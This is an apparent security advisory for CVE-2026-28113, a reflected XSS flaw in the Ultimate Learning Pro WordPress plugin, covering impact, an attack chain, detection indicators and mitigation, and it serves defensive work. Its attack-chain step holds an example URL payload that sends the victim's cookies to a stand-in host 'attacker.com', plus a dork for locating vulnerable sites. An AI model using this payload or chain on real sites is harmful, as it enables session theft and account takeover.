CVE-2026-28113: 
WordPress vulnerability analysis and mitigation

CVE-2026-28113 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Ultimate Learning Pro WordPress plugin (slug: indeed-learning-pro) developed by azzaroco. It affects all versions up to and including 3.9.1. The vulnerability was published on March 5, 2026, with the CVE assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High), as assessed by CISA-ADP (NVD, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient sanitization or escaping of user-supplied input that is reflected back in the plugin's generated web page output. An unauthenticated remote attacker can craft a malicious URL containing a JavaScript payload; when a victim user clicks the link, the payload executes in their browser within the context of the WordPress site. No authentication or special privileges are required, but user interaction (clicking a crafted link) is necessary (NVD, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement of page content as seen by the victim, or redirection to malicious sites. Because the scope is changed (S:C in the CVSS vector), the impact extends beyond the plugin itself to the broader WordPress environment, potentially enabling account takeover of authenticated users including administrators (NVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The attack requires no authentication but does require social engineering to trick a victim into clicking a crafted URL (NVD).

1. Reconnaissance: Identify WordPress sites running the Ultimate Learning Pro plugin (version ≤ 3.9.1) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/indeed-learning-pro).
2. Identify vulnerable parameter: Determine which URL parameter(s) in the plugin's pages are reflected unsanitized in the HTML response (e.g., via manual testing or reviewing the Patchstack advisory for the specific parameter).
3. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint with a reflected XSS payload, for example: https://victim-site.com/?plugin_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim (e.g., a WordPress administrator) via phishing email, social media, or other social engineering channels.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the victim (NVD, Patchstack).

• Network: HTTP GET requests to WordPress pages hosting the Ultimate Learning Pro plugin containing URL-encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:, onerror=, onload=) in query parameters.
• Logs: WordPress or web server access logs showing requests with suspicious query strings to plugin-related endpoints (e.g., paths under /? or plugin shortcode pages) with encoded XSS payloads.
• Logs: Outbound requests from victim browsers to unknown external domains shortly after accessing a plugin page, potentially indicating cookie exfiltration.
• Process/Application: Unexpected JavaScript execution or redirects reported by users after clicking links pointing to the WordPress site.

Site administrators should update the Ultimate Learning Pro plugin to a version beyond 3.9.1 that addresses this vulnerability. If a patched version is not yet available from the plugin author (azzaroco), consider temporarily deactivating the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim. Users should be cautioned against clicking unsolicited links pointing to the site (Patchstack).

The vulnerability was reported and assigned by Patchstack, a WordPress security firm that operates a bug bounty program for WordPress plugins. No notable public researcher commentary, vendor statements beyond the Patchstack advisory, or significant media coverage has been identified for this CVE (Patchstack).